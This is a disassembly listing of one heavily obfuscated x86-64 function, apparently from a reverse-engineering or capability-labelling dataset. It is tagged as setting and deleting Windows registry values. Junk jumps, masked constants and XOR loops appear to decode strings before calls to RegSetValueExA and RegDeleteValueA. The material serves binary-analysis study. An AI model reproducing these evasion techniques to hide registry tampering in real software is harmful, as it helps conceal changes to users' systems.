Function at 0x140008770
Capabilities:
Delete registry value
Set registry value

Disassembly:
xchg rcx, rsp
mov rax, rcx
xchg rsp, rcx
jmp 0x14000886b
pand xmm2, xmmword [0x1401133b0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
mov dword [rsp - 0x1c], 0x30350b68
jmp 0x140008b7a
xchg rsi, rax
movaps xmmword [rsi - 0x28], xmm6
xchg rsi, rax
xchg rsp, rax
movaps xmmword [rsp - 0x38], xmm7
jmp 0x14000912b
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401133b0]
packuswb xmm2, xmm2
jmp 0x140008b39
psrad xmm1, xmm6
movdqa xmm0, xmm1
xchg rdi, rdi
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x14000909b
mov dword [rsp - 0x34], 0x57485b3c
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x10], 0x57de484f
jmp 0x140008b9e
xchg rsp, rbp
movups xmmword [rsp - 0x69], xmm0
xchg rbp, rsp
movups xmm0, xmmword [0x140112d10]
mov dword [rsp - 0x3c], 0x57c63020
xchg rbp, r9
movups xmmword [r9 - 0x59], xmm1
jmp 0x1400088f2
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
xchg r9, r9
pshufhw xmm1, xmm0, 0xd8
jmp 0x140008c44
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1401133b0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
mov dword [rsp - 0x44], 0x45cc2100
pmuldq xmm1, xmm4
movd xmm0, edx
jmp 0x140008d3a
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
nop
sub rsp, 8
mov qword [rsp], rbp
nop
mov qword [rsp - 8], rdi
jmp 0x140008eec
movups xmmword [rbp - 0x39], xmm1
mov dword [rsp - 0x34], esi
cmp edi, 2
jmp 0x140008af6
xchg rsi, rsi
shr eax, 0xf
shr eax, 9
shr eax, 2
shr eax, 1
shr eax, 3
jmp 0x140008bb9
jmp 0x14000972b
test eax, eax
jne 0x140009966
movzx eax, word [0x140112d48]
mov r8d, ebx
xchg r15, r15
jmp 0x140008f05
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
mov dword [rsp - 0x24], 0x65f13785
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
jmp 0x140008db6
xchg rbp, r9
movsd xmm1, qword [0x140112d20]
mov dword [rsp - 0x1c], edi
xchg rsi, rbp
movsd qword [rsi - 0x39], xmm1
jmp 0x140008a6c
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
mov dword [rsp - 0x3c], 0x565f6392
jmp 0x140008b1f
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
mov dword [rsp - 0x34], esp
pmuldq xmm0, xmm4
jmp 0x140009011
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
mov dword [rsp - 0x14], ebx
pshufd xmm2, xmm1, 0xd8
jmp 0x14000877e
xchg rsp, r8
movaps xmm9, xmmword [r8 + 0xa0]
xchg r8, rsp
jmp 0x1400088ad
nop
add edx, 0x495cd147
sub edx, 0x495cd13f
movdqa xmm1, xmm2
mov dword [rsp - 0x28], edx
jmp 0x140008925
lea esi, [rbx + 4]
lea r14d, [rbx + 0x1f]
cmp edx, 0xffffffff
je 0x140009966
mov dword [rsp - 0x14], 0x1cf898b4
jmp 0x140008b51
pmuldq xmm1, xmm4
mov dword [rsp - 0x24], esi
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x140008a85
movups xmmword [rdi - 0x69], xmm0
xchg rdi, rbp
cmp edi, 2
mov rbp, rbp
jl 0x140008c75
movdqa xmm0, xmmword [str.2222222222222222]
lea rcx, [rbp - 0x65]
jmp 0x140008bf3
mov edi, dword [0x14024f2c0]
xor ebx, ebx
mov dword [rbp - 0x11], edx
mov dword [rsp - 0x34], 0x724283dc
jmp 0x140008988
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
mov rdx, rdx
jmp 0x140008841
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8, r8
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
jmp 0x140009030
mov qword [rsp + 0x20], rax
xor r8d, r8d
xchg r14, r14
jmp 0x140008f93
movq qword [rcx - 8], xmm3
cmp edx, 0x20
mov dword [rsp - 0x18], 0x2293d692
jl 0x140008bd7
jmp 0x14000895b
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
jmp 0x140009115
xchg rbp, rsi
xchg r15, rbp
movups xmmword [r15 - 0x49], xmm0
xchg r15, rbp
cmp edi, 2
xchg r11, r11
jmp 0x140008c95
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov dword [rsp - 0x34], edi
jmp 0x1400090f6
psrld xmm0, xmm8
paddd xmm0, xmm1
mov r14, r14
pmulld xmm0, xmm7
jmp 0x140009184
sub rcx, 0x1b6a45dc
xor rcx, 0xb0af765
add rcx, 0x7fffffff
sub rcx, 0x2e2cbe52
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp - 0x38], 0x797aec23
jmp 0x1400088b2
pxor xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
mov dword [rsp - 0x3c], 0x2ba9b175
jmp 0x140008a0e
jl 0x1400091ee
movdqa xmm5, xmmword [0x140113370]
mov dword [rsp - 0x44], 0x63c05a6f
lea rcx, [rbp - 0x69]
movdqa xmm4, xmmword [0x1401133d0]
mov edx, ebx
jmp 0x140008e49
sub al, cl
sub al, 0xce
xor byte [r9 - 1], al
cmp r8d, 0x1b
xchg r11, r11
jl 0x140008dde
jmp 0x140008e38
xchg r8, r8
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
mov rbp, rbp
jmp 0x140008f6e
movzx eax, word [0x140112d28]
mov r8d, ebx
mov word [rbp - 0x31], ax
mov dword [rsp - 0x18], 0x52ceef7
movups xmm0, xmmword [0x140112cf0]
movups xmm1, xmmword [0x140112d00]
jmp 0x1400087ff
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
mov r14, r14
jl 0x1400090b1
cmp r8d, 0x1b
jmp 0x140008c6b
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov dword [rsp - 0x34], edi
psubd xmm3, xmm0
jmp 0x14000893f
shr eax, 1
add edx, eax
mov dword [rsp - 0x38], 0x17f66f49
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
mov r13, r13
jmp 0x140009001
movd xmm2, edx
lea eax, [rdx + 4]
mov r13, r13
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
jmp 0x14000896e
movdqa xmm5, xmmword [0x140113370]
mov r13, r13
movdqa xmm4, xmmword [0x1401133d0]
movdqa xmm7, xmmword [0x140113390]
xchg rbp, rdx
movdqa xmmword [rdx - 0x29], xmm0
jmp 0x140009064
xchg rbp, r10
movdqa xmmword [r10 - 0x29], xmm0
xchg rbp, r10
jmp 0x140008ded
shr eax, 0x11
shr eax, 5
shr eax, 1
shr eax, 4
add edx, eax
mov rcx, rcx
movsx eax, dl
jmp 0x14000890e
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
mov dword [rsp - 0x30], 0x1b57dfe3
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
mov rdi, rdi
jmp 0x140008adc
jge 0x140008e38
mov dword [rsp - 0x30], edx
movsxd rax, r8d
jmp 0x140008dc7
movd xmm8, r14d
nop word [rax + rax]
mov dword [rsp - 0x2c], 0x26c4fd6c
jmp 0x1400090b1
jl 0x140008f8b
movdqa xmm0, xmmword [str.2222222222222222]
lea rcx, [rbp - 0x65]
mov dword [rsp - 0x1c], 0x57eebed7
movdqa xmm5, xmmword [0x140113370]
movdqa xmm4, xmmword [0x1401133d0]
movdqa xmm7, xmmword [0x140113390]
jmp 0x140008c1b
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
mov dword [rsp - 0x2c], 0x38969b71
paddw xmm3, xmm2
pxor xmm3, xmm0
jmp 0x140008a40
paddd xmm3, xmm5
pmuldq xmm0, xmm4
sub r8d, 0xfffffff8
jmp 0x140008fef
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
mov dword [rsp - 0x38], 0x5b54691e
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
jmp 0x1400091cf
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
xchg r12, r12
jmp 0x1400088cc
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xchg rdx, rdx
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
jmp 0x140009161
sub r9d, 0x2a4f2c9c
xor r9d, 0x299a15fd
add r9d, 0x388573b0
xor r9d, 0x3ce35ce4
xor r8d, r8d
mov dword [rsp - 0x2c], 0x2e3dbe85
mov qword [rsp + 0x20], rax
jmp 0x140008e79
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
mov dword [rsp - 0x38], ebx
jmp 0x140009045
movups xmm1, xmmword [0x140112d80]
xchg r12, rbp
movups xmmword [r12 - 0x49], xmm0
xchg rbp, r12
jmp 0x140008887
movdqa xmm0, xmm2
mov dword [rsp - 0x14], ecx
punpckhdq xmm0, xmm2
jmp 0x140008ceb
lea r9, [rbp - 0x69]
add r9, rax
nop dword [rax]
xchg r10, r10
nop word [rax + rax]
mov eax, 0x5ed4c7ce
xor eax, 0x2104f94e
jmp 0x140009076
mov edx, dword [rbp - 0x29]
movd xmm6, esi
movd xmm8, r14d
mov dword [rsp - 0x1c], 0x2955ca22
nop word [rax + rax]
jmp 0x140008d24
xchg r10, rax
mov rax, qword [0x14024f2e0]
xor rax, rsp
mov r11, r11
xchg r11, rax
mov qword [rbp - 9], r11
xchg r11, rax
jmp 0x1400089df
mov dword [rsp - 0x10], ebp
sar edx, 3
sar edx, 1
mov eax, edx
jmp 0x140008897
mov rcx, qword [rbp - 0x19]
lea rax, [rbp - 0x11]
mov dword [rsp + 0x28], esi
jmp 0x14000919f
movdqa xmm7, xmmword [0x140113390]
mov dword [rsp - 0x3c], 0x54a6ceb2
xchg rsp, r8
movaps xmmword [r8 + 0xa0], xmm9
xchg rsp, r8
movdqa xmm9, xmmword [0x1401133a0]
movd xmm6, esi
jmp 0x140008f30
lea rdx, [rbp - 0x69]
nop
movabs rcx, 0xffffffff2bdf684d
xor rcx, 0x743f7708
xor rcx, 0x124149b0
add rcx, 0x29e9ff5d
sub rcx, 0x36fac746
jmp 0x140008aad
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1401133b0]
mov dword [rsp - 0x2c], edx
packuswb xmm2, xmm2
jmp 0x140008cfd
add eax, 0x2926ba91
lea r9, [r9 + 1]
imul r8d
jmp 0x140008e28
pmuldq xmm0, xmm4
neg r8d
add r8d, 0xfffffff8
neg r8d
jmp 0x1400089a5
sub rsp, 8
push r14
xchg rsp, rsp
lea rbp, [rax - 0x5f]
add rsp, 0xffffffffffffff20
jmp 0x14000879b
movsd xmm1, qword [0x140112d40]
mov word [rbp - 0x51], ax
movzx eax, byte [0x140112d4a]
jmp 0x1400091ae
lea r9, [rbp - 0x69]
add r9, rax
mov r9, r9
nop dword [rax]
jmp 0x140008f47
mov dword [rsp - 0x24], 0x265d01ba
movd xmm8, r14d
nop dword [rax + rax]
jmp 0x140008bd7
nop word [rax + rax]
mov eax, 0x40277a2d
sub eax, 0x14ba8e8b
xor eax, 0x3b8dc909
add eax, 0x4a0ba087
xor eax, 0x785f9b54
jmp 0x140008ec7
movd dword [rcx - 8], xmm2
cmp r8d, 0x38
jl 0x140008d24
cmp r8d, 0x3a
mov dword [rsp - 0x1c], edi
jge 0x140009147
movsxd rax, r8d
jmp 0x140008f1d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14000940a
mov r10, r10
movups xmm0, xmmword [0x140112d50]
mov r8d, ebx
movups xmm1, xmmword [0x140112d60]
jmp 0x140008fba
xchg r12, rbp
movups xmmword [r12 - 0x69], xmm0
xchg r12, rbp
movups xmm0, xmmword [0x140112d70]
mov r14, r14
movups xmmword [rbp - 0x59], xmm1
jmp 0x140008d9e
paddd xmm0, xmm1
mov dword [rsp - 0x3c], 0x682380f8
pmulld xmm0, xmm7
jmp 0x140008826
mov dword [rsp - 0x44], ebp
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x1400087c5
inc r8d
sub al, cl
add al, 0x32
mov dword [rsp - 0x10], edi
jmp 0x140009139
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov dword [rsp - 0x14], edx
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x140008fd9
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x1c], esi
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x140008a97
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
xchg r11, r11
movd xmm0, edx
jmp 0x1400087af
xchg rdx, rbp
mov edx, dword [rbp - 0x29]
mov rsp, rsp
movd xmm6, esi
jmp 0x140008c7d
sub eax, 0x6e365df6
add eax, 0x40508224
sub eax, 0x48672836
xor eax, 0x74bc373c
sub eax, 0x3164fa4d
lea r9, [r9 + 1]
imul r8d
jmp 0x1400090cc
pmulld xmm0, xmm7
psubd xmm2, xmm0
mov dword [rsp - 0x28], 0x6a12881f
jmp 0x1400089f7
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
mov dword [rsp - 0x18], edx
lea rcx, [rcx + 8]
jmp 0x140008a5b
mov dword [rsp - 0x40], 0x7c0de056
sar edx, 2
sar edx, 1
sar edx, 1
mov eax, edx
shr eax, 4
jmp 0x140008c2c
punpckhdq xmm0, xmm2
mov dword [rsp - 0x14], esi
paddd xmm3, xmm5
jmp 0x140008ed8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
mov r10, r10
pshufhw xmm1, xmm0, 0xd8
jmp 0x140008ea9
mov dword [rsp - 0x10], esi
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
jmp 0x1400090e5
xchg rsp, rax
xchg r10, rax
movaps xmmword [r10 - 0x48], xmm8
jmp 0x140008e0c
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x140008f50
lea rax, [rbp - 0x19]
mov dword [rsp - 0x18], ecx
mov r9d, 0x680c103
xor r9d, 0x5ecce871
jmp 0x140008d57
pmuldq xmm0, xmm4
mov dword [rsp - 0x38], 0x39a8bd22
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov dword [rsp - 0x24], edi
jmp 0x140008d88
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
mov r14, r14
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
jmp 0x140008ccc
mov r10, r10
lea rdx, [rbp - 0x69]
mov r9d, esi
jmp 0x140008a30
mov rbx, rbx
mov byte [rbp - 0x4f], al
xchg rbp, r13
movsd qword [r13 - 0x59], xmm1
xchg rbp, r13
movups xmm0, xmmword [0x140112d30]
xchg rdi, rbp
jmp 0x1400089bb
mov dword [rsp - 0x40], 0x6778402a
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
jmp 0x1400087de
lea r9, [rbp - 0x69]
nop dword [rax + rax]
mov dword [rsp - 0x3c], 0x3597207c
mov eax, 0x44fa049b
add eax, 0xe8802ef
add eax, 0x2986013b
jmp 0x1400097f9
movsx eax, dl
xchg r13, r13
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
jmp 0x14000929d
cmp edi, 2
mov dword [rsp - 0x40], 0x73ffdbd8
jl 0x140009912
movdqa xmm0, xmmword [str.2222222222222222]
lea rcx, [rbp - 0x65]
jmp 0x1400095f9
movups xmm0, xmmword [0x140112d90]
movups xmm1, xmmword [0x140112da0]
mov rsi, rsi
xchg r11, rbp
movups xmmword [r11 - 0x69], xmm0
jmp 0x1400098c4
mov r15, r15
pand xmm2, xmmword [0x1401133b0]
packuswb xmm2, xmm2
jmp 0x140009652
mov dword [rsp - 0x20], esp
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x352ee72
xor eax, 0x3c67f2ac
xor eax, 0x5e67d94b
jmp 0x140009364
mov rsp, rsp
sub al, cl
add al, 0x69
sub al, 0x37
xor byte [r10 - 1], al
jmp 0x14000980d
mov dword [rsp - 0x20], 0x6f7f1691
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
xchg r15, r15
pshuflw xmm0, xmm2, 0xd8
jmp 0x140009547
xchg rdx, rdx
movzx eax, word [0x140112dd4]
xchg rbx, rbp
movups xmmword [rbx - 0x69], xmm0
xchg rbp, rbx
mov word [rbp - 0x55], ax
je 0x14000982a
jmp 0x14000922b
sub al, cl
mov dword [rsp - 0x20], ebp
sub al, 0xd5
add al, 7
xor byte [r8 - 1], al
cmp ebx, 0x16
mov rbp, rbp
jmp 0x140009824
sub eax, 0x67edb01
lea r9, [r9 + 2]
mov dword [rsp - 0x14], ecx
mul r8d
mov eax, r8d
jmp 0x14000933d
imul ebx
sar edx, 2
sar edx, 1
sar edx, 1
mov eax, edx
mov dword [rsp - 0x1c], 0x3e1d574d
jmp 0x140009440
sub eax, edx
shr eax, 1
mov dword [rsp - 0x40], 0x6b3db99e
add eax, edx
shr eax, 4
jmp 0x14000959b
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
jmp 0x1400099cf
sub eax, 0x1efb073e
xor eax, 0x4e52c61b
add eax, 0x50d36ac9
sub eax, 0x5cd8e314
jmp 0x1400099fe
movdqa xmm7, xmmword [0x140113390]
xchg rsi, rbp
movdqa xmmword [rsi - 0x29], xmm0
xchg rsi, rbp
jmp 0x140009799
test eax, eax
jne 0x1400099f8
cmp byte [0x140112dd5], bl
mov dword [rsp - 0x1c], 0x236d0475
mov eax, dword [0x140112dd0]
movups xmm0, xmmword [0x140112dc0]
mov dword [rbp - 0x59], eax
jmp 0x1400092d1
mov dword [rsp - 0x30], ecx
nop word [rax + rax]
movd xmm2, ebx
lea eax, [rbx + 4]
mov r9, r9
jmp 0x1400096bd
mov eax, 0x370e5f58
xor eax, 0x46d03ac2
xor eax, 0x689c396b
add eax, 0x289e33d2
add eax, 0x11d05e77
sub eax, 0xc997157
jmp 0x14000992b
call fcn.1400a7b80
mov dword [rsp - 0x40], edx
xchg rbx, rcx
mov rbx, qword [rbp - 0x19]
xchg rbx, rcx
jmp 0x14000995c
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
mov rbx, rbx
jmp 0x14000963d
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
xchg rdx, rdx
pshufhw xmm1, xmm0, 0xd8
jmp 0x14000968a
shr eax, 5
shr eax, 0xd
shr eax, 0xb
shr eax, 1
jmp 0x140009663
mov dword [rsp - 0x3c], 0x73c4c8be
jl 0x14000961b
movdqa xmm0, xmmword [str.2222222222222222]
lea rcx, [rbp - 0x65]
movdqa xmm5, xmmword [0x140113370]
mov r11, r11
movdqa xmm4, xmmword [0x1401133d0]
jmp 0x14000974d
xchg r8, rax
lea rdx, [rbp - 0x69]
mov dword [rsp - 0x10], 0x1a7e070c
nop
jmp 0x1400096f5
pmulld xmm0, xmm7
psubd xmm3, xmm0
mov rsp, rsp
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
jmp 0x14000926b
add r9d, 0x4f8595d1
sub r9d, 0x363fca28
add r9d, 0x5aa371cc
sub r9d, 0x78ad42ee
xor r8d, r8d
xchg r8, rax
mov qword [rsp + 0x20], r8
jmp 0x140009482
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
mov r13, r13
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
sub r8d, 0xfffffff8
jmp 0x14000988b
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
mov r10, r10
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
jmp 0x140009990
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xchg r10, r10
pxor xmm2, xmm0
movdqa xmm0, xmm3
jmp 0x1400095b5
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
mov dword [rsp - 0x2c], esi
pand xmm2, xmmword [0x1401133b0]
packuswb xmm2, xmm2
jmp 0x14000989d
xchg r15, r15
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
mov dword [rsp - 0x3c], 0x1b5c9a53
jmp 0x140009353
xchg rbp, rbp
mov rcx, qword [rbp - 0x19]
test eax, eax
jne 0x1400099f2
jmp 0x14000927f
shr eax, 1
movzx eax, ax
xchg rcx, rcx
imul ecx, eax, 0x36
movzx eax, r8w
inc r8d
sub ax, cx
jmp 0x1400096a8
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
mov r10, r10
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x14000994b
psrad xmm1, xmm6
mov dword [rsp - 0x30], 0x2697fb0d
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
mov dword [rsp - 0x3c], ebx
jmp 0x140009506
movdqa xmm5, xmmword [0x140113370]
mov dword [rsp - 0x44], ebp
movdqa xmm4, xmmword [0x1401133d0]
jmp 0x14000937d
jge 0x14000981b
mov rsi, rsi
movsxd rax, r8d
lea r10, [rbp - 0x69]
add r10, rax
mov dword [rsp - 0x2c], 0x35c2ec97
nop word [rax + rax]
jmp 0x1400093de
cmp ebx, 0x10
jl 0x1400093cf
cmp ebx, 0x16
mov dword [rsp - 0x14], esi
jmp 0x14000990c
paddb xmm2, xmm0
mov rdx, rdx
movd xmm0, dword [rcx - 8]
jmp 0x140009419
shr eax, 1
add edx, eax
movsx eax, dl
mov dword [rsp - 0x34], edx
imul ecx, eax, 0x36
movzx eax, bl
inc ebx
jmp 0x1400092f4
mov eax, edx
shr eax, 0xc
shr eax, 0x13
add edx, eax
jmp 0x140009216
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0x18], ebp
pand xmm2, xmmword [0x1401133b0]
packuswb xmm2, xmm2
jmp 0x140009876
mov dword [rsp - 0x28], 0x5efdfff0
add ax, 0x473b
sub ax, 0x4709
jmp 0x140009719
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
jmp 0x14000956a
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov r9, r9
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x14000942a
movabs rcx, 0xffffffff50c1e0d9
add rcx, 0x2c8be1b7
xor rcx, 0x2314d5e9
sub rcx, 0x36e8ca6e
jmp 0x140009768
xor word [r9 - 2], ax
mov r12, r12
cmp r8d, 0x20
jl 0x140009202
lea rcx, [rbp - 0x69]
jmp 0x140009401
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
mov rbx, rbx
paddd xmm2, xmm5
jmp 0x14000983d
movdqa xmm7, xmmword [0x140113390]
xchg rbp, rcx
movdqa xmmword [rcx - 0x29], xmm0
xchg rbp, rcx
mov edx, dword [rbp - 0x29]
jmp 0x1400098ae
xor rcx, 0x4ee5743a
sub rcx, 0x66029c55
add rcx, 0x3ba4011c
add rcx, 0x7fffffff
sub rcx, 0x3f369df5
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r10, r10
jmp 0x140009395
mov edx, dword [rbp - 0x29]
movd xmm6, esi
movd xmm8, r14d
jmp 0x1400093c0
pmuldq xmm1, xmm4
mov dword [rsp - 0x3c], 0x73e3e89a
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x1400092af
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
mov dword [rsp - 0x1c], ebp
jl 0x1400098ba
cmp r8d, 0x2e
jmp 0x140009612
movups xmmword [r13 - 0x59], xmm1
xchg rbp, r13
cmp edi, 2
jmp 0x140009450
xor eax, 0x2058e7c9
xor eax, 0x70adad3e
add eax, 0x7e9e4aa
jmp 0x14000930d
cmp r8d, 0x2e
mov dword [rsp - 0x20], edi
jl 0x1400093de
lea rax, [rbp - 0x19]
jmp 0x140009977
jl 0x140009921
mov rcx, qword [rbp - 0x19]
lea rdx, [rbp - 0x69]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x140009587
movd xmm3, eax
movdqa xmm1, xmm2
mov dword [rsp - 0x38], esi
pshufd xmm3, xmm3, 0
jmp 0x1400094e5
mov dword [rsp - 0x20], 0x3fe80a31
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
mov dword [rsp - 0x34], ebp
jmp 0x1400096d3
paddb xmm2, xmm0
mov rdi, rdi
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
jmp 0x1400097cd
mov dword [rsp - 0x18], esi
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x1400095d7
punpckldq xmm1, xmm3
mov rcx, rcx
pmuldq xmm1, xmm4
jmp 0x14000952a
movd xmm6, esi
movd xmm8, r14d
mov rsi, rsi
movd xmm2, r8d
jmp 0x140009734
xchg r11, rbp
movsd xmm0, qword [0x140112db0]
mov dword [rsp - 0x40], 0x7fd40cc0
xchg rbp, rdi
movsd qword [rdi - 0x49], xmm0
xchg rdi, rbp
xchg r13, rbp
jmp 0x1400097e9
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
xchg rsp, rsp
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
jmp 0x140009853
jge 0x14000982a
movsxd rax, ebx
lea r8, [rbp - 0x69]
mov rcx, rcx
add r8, rax
nop
mov eax, 0x4eb05ba7
jmp 0x1400099a5
add eax, 0x4c29514
lea r10, [r10 + 1]
mov dword [rsp - 0x40], 0x23fad01c
imul r8d
sar edx, 2
sar edx, 1
sar edx, 1
jmp 0x14000967b
mov rcx, rcx
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x140009496
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp - 0x20], edx
mov eax, dword [0x140112db8]
mov r8d, ebx
mov dword [rbp - 0x41], eax
jmp 0x1400099df
mov r9d, 0x6b50a0d5
sub r9d, 0x47462286
sub r9d, 0x1f377897
jmp 0x1400094ba
pand xmm2, xmmword [0x1401133b0]
mov dword [rsp - 0x2c], ebx
packuswb xmm2, xmm2
jmp 0x1400098ea
sub eax, 0x2ad541a8
xor eax, 0x731fb39a
sub eax, 0x20fa5f1d
add eax, 0x1d26e726
xor eax, 0x72b2099
lea r8, [r8 + 1]
mov dword [rsp - 0x14], 0x57b3a07d
jmp 0x140009325
xchg rsi, rsi
pmuldq xmm0, xmm4
sub ebx, 0xfffffff8
jmp 0x1400097aa
movzx eax, word [0x140112dbc]
xchg rdi, rdi
mov word [rbp - 0x3d], ax
jmp 0x14000924d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov dword [rsp - 0x44], edx
xchg r13, rcx
mov r13, qword [rbp - 9]
xchg rcx, r13
jmp 0x140009a3b
xchg r11, rdx
xchg rbp, rsp
mov rbp, r11
xchg rbp, rsp
jmp 0x140009a77
mov rbp, qword [rsp - 8]
ret
mov rdi, qword [r11 + 0x30]
xchg rsi, rdi
xchg r11, r9
movaps xmm6, xmmword [r9 - 0x10]
xchg r11, r9
jmp 0x140009a5f
xor rcx, rsp
call fcn.1400e36a0
mov dword [rsp - 0x30], 0x536fca89
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
xchg rsi, rdi
jmp 0x140009a24
xchg r15, r11
movaps xmm7, xmmword [r15 - 0x20]
xchg r11, r15
xchg rdx, r11
movaps xmm8, xmmword [rdx - 0x30]
jmp 0x140009a0d
nop
add rsp, 8
mov r14, qword [rsp - 8]
pop rdi
nop
add rsp, 8
jmp 0x140009a1e